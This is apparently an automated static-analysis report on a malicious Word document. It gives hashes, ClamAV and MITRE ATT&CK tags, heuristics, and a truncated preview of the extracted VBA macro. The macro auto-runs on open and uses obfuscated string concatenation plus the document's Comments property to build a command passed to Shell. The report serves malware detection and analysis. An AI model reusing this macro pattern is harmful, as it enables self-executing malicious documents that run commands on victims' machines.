Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 61289e969903d176…

MALICIOUS

Office (OOXML)

68.2 KB Created: 2017-10-05 19:19:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2017-10-28
MD5: 91ae4e1390594de7c0d8ecd79d738b1f SHA-1: cc5cb236789271e9bfaf21957c79172adacffb9a SHA-256: 61289e969903d176b99fcf6f57769df1b5345641428d5219f74f0a6bc7b08f80
282 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is an OOXML document containing VBA macros, specifically an AutoOpen macro that calls the Shell() function. This indicates the document is designed to execute arbitrary commands, likely to download and run a secondary payload. The ClamAV detection name 'Doc.Macro.DollarShell-6346616-0' further supports this malicious intent.

Heuristics 6

  • ClamAV: Doc.Macro.DollarShell-6346616-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.DollarShell-6346616-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 8718 bytes
SHA-256: 143acb5815e8b93ad91658706785b73307ed532be7472744f31e3d66feda2bce
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Sub autoopen()
seHKzkcdPFR
End Sub
Function seHKzkcdPFR()
vtRZabSX = "shGtPsE" + "ThWKMfvu" + "hYFHkybZ" + "bRyNPbhFy" + "emwbgmmr" + "SkDHPka" + "DxTrPSEe" + rrYbUbs = "YuCnGZhL" + "LXVcxLvg" + "FMBkmTKMZ" + "svZsRMscgs" + "ghhdzMB" + "zZcKauZdwx" + "uYLnudsK" + UpFZwRKzx = "CLxGZRWmv" + "fgLKURHewv" + "eTwcHcFZRx" + "KZNVrCChX" + "gGzZZuwhk" + "MDyCXUMhn" + "rsgKwZG" + "uMrwgvrszBv"
aFakRGgNdhh = "sRkRYWsep" + "ZTkYTShR" + "weZHAEfaED" + "xNebRXYnKT" + "GthYAfxn" + "cGZgvzFW" + "CvMUbbuHLvc" + nSNVdrn = "BkfPtpvt" + "PGCkrvVfKb" + "xuuWdWMFnP" + "FnyesexB" + "VpzcHgP" + "VvDnRRdZ" + "sKPKLmty" + "zdAuahDXMH"
SgFghVUFvr = "SLWeUMpU" + "gcBAWDy" + "ZAWukrpttU" + "gszFUhM" + "MhaGPMhFUUe" + "ybeEhdukncD" + "ZfvMsShW" + LFXbcyXZ = "FzDZzPav" + "NTVGHKMm" + "WAsSMSnue" + "GnEwHcxC" + "aTSHtcPGAFS" + "DWDvaAsz" + "NrXEbFA" + hRBmuBM = "cHBuUGg" + "pvVndbY" + "wHcBysbg" + "hCkEUPD" + "fLaBsHtL" + "YGRYYvWuH" + "dzegmHWSa" + CGPaECXfs = "VecGrMMh" + "LMfgCLUeVKF" + "AvHBfvgH" + "NkxZtky" + "tmnFwKmMKU" + "mmbMcNc" + "UHceHCWHW" + "cwcPfWt"
yAgckpFzyW = "ccLMwstMgHw" + "GVzRRwrVzsz" + "KEdXnLp" + "adEtGdMKGb" + "dSBuZTugnKE" + "XTDApPTxhUd" + "atGZRzu" + PCfbEnVnPC = "ubsyVmpuuDX" + "bbnNvUREAhA" + "PyftNfT" + "MbXcVcCbTLw" + "dBMMYUgzaCh" + "ezZCefneaH" + "ppctaGLx" + dpwLTZEnHMy = "vWMddDMwCr" + "eydvtytbxr" + "xcGcKkV" + "uUWXrSUz" + "HtVGFrRDaf" + "YbuRfSVFVd" + "RLPtteC" + LCbGYeau = "ZNnnVyx" + "duvhPfCxfFp" + "ADNDUtGZUk" + "gyEtcLUFeB" + "YkgGxNuRB" + "vFLNHKvGEZ" + "vnwbMrdHtRR" + pKUUMMC = "RkvKWYLUy" + "fYMGMfMDT" + "GdxuvfNuHf" + "ULGNsUzgDa" + "WfkRgnMkMf" + "PFpXTaE" + "GnapBkZ" + "KwEgDpLDMT"
esRLTXpTvT = "bexxsgh" + "BzUnFyX" + "SntErFwm" + "pUZVavvu" + "PupndUBN" + "HAAyFxRd" + "hRYawBXRZXz" + svkCMNAazkP = "yNxfKzSBEw" + "SkUbzCEkV" + "hxBEaruFnbH" + "ZrFfcCveBw" + "xhLLkbWY" + "aGcnkmtM" + "UpyUSpdT" + vsyaEApPAnW = "SczGyMau" + "SnZSVWXKXRe" + "dbgbbTbtNM" + "PYhdGMCvDX" + "pnSTZGLKBA" + "YNWybSCW" + "sphHxTxv" + "gFrXXXvexhE"
hPWEEBGRytp = "MphscNy" + "ZdxaTeerSmT" + "hSXDFhFBkFx" + "PfTbgBKfuP" + "cvTwsXEx" + "RMfVdkYDfL" + "LZLTbrrymt" + HXwaeMRnxNw = "WsyvCLDMW" + "wpSbKhSLW" + "VSGcdBfTu" + "KAtRuuGB" + "pTGbSxfxrce" + "HadDXAWnC" + "zcRPVWLK" + CKbBdxYTmm = "RTprmZrGZVV" + "hDRAmbRD" + "dGZpkPLEuw" + "AGUBkMNs" + "sgcDWfuwbKT" + "RDkrrmpy" + "vSVVmfu" + UUzRFsxH = "KtccKvtk" + "ADaMkUtgD" + "GuaEwFeBL" + "hasunDeb" + "NYGYKZksmen" + "BVbLUUbTFYW" + "hSAHczmFxTE" + tUXFSVVu = "uXvFpwKax" + "nHnZPhzFN" + "kbhUThsSepk" + "egpvwFSSmxy" + "YwdhkPzMBG" + "HaCEySp" + "ekLxTBZXNh" + "MdCfPZe"
ffxpnwNrVDp = "" + UWGtyfW + NzGWxKNHB + DuaRuKG + KbtYGFR + eZXSSbgAYnB + duChpNnHBXm + mntsaGzKpTe + xenAzZd + wAUPRbSDtR + AuTaXpbm + apwufBRG + MGMagsRDLUd + ActiveDocument.BuiltInDocumentProperties("Co" + "mments") + UWGtyfW + NzGWxKNHB + DuaRuKG + KbtYGFR + eZXSSbgAYnB + duChpNnHBXm + mntsaGzKpTe + xenAzZd + wAUPRbSDtR + AuTaXpbm + apwufBRG + MGMagsRDLUd + KHLMdAam
CyXexBRs = "sNKnwCWh" + "RgrLxdarRHY" + "FDaVPAWEwb" + "gHYkndNMKVp" + "zdWTTBBkCnt" + "PhpARSHUze" + "BUYZpndP" + PVZgNsEfD = "EMNsdKXdWEK" + "fcaKnCnWXL" + "aZEyFhVt" + "uAnBgyzLLHp" + "UgwtueSwPd" + "ZSNfteDgMGc" + "kMskzHrUPFG" + eEuLzNm = "haXGvFBSdL" + "sVXTMZeFt" + "dGRZcXhCNHS" + "BcSZguHGM" + "EThCEndW" + "CGUYLCksN" + "LWhaUUaRBfU" + "EYtbMRNMU"
aDXAewB = "pDvhfMFbg" + "dzutbFmxkcp" + "muVLeBDwmuv" + "CpdTDEzhsCr" + "TvkRsmhtEu" + "GhDgdNDMm" + "hTbVunBCc" + aWStBuE = "ttsZTpeGS" + "FRCaatWCedF" + "mPByBnXpY" + "AWTkfbmKWEf" + "bGMkSzFYBkN" + "YsvUteG" + "TaHmDcL" + "zRmehSgE"
VBA.Shell$ "" + UWGtyfW + NzGWxKNHB + DuaRuKG + KbtYGFR + eZXSSbgAYnB + duChpNnHBXm + mntsaGzKpTe + xenAzZd + wAUPRbSDtR + AuTaXpbm + apwufBRG + MGMagsRDLUd + ffxpnwNrVDp + UWGtyfW + NzGWxKNHB + DuaRuKG + KbtYGFR + eZXSSbgAYnB + duChpNnHBXm + mntsaG
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 57344 bytes
SHA-256: 93857140350f7ac86229b206cf2f5c02924f6dd280954a52e192acabb17ec89b
Detection
ClamAV: Doc.Macro.DollarShell-6346616-0
Obfuscation or payload: unlikely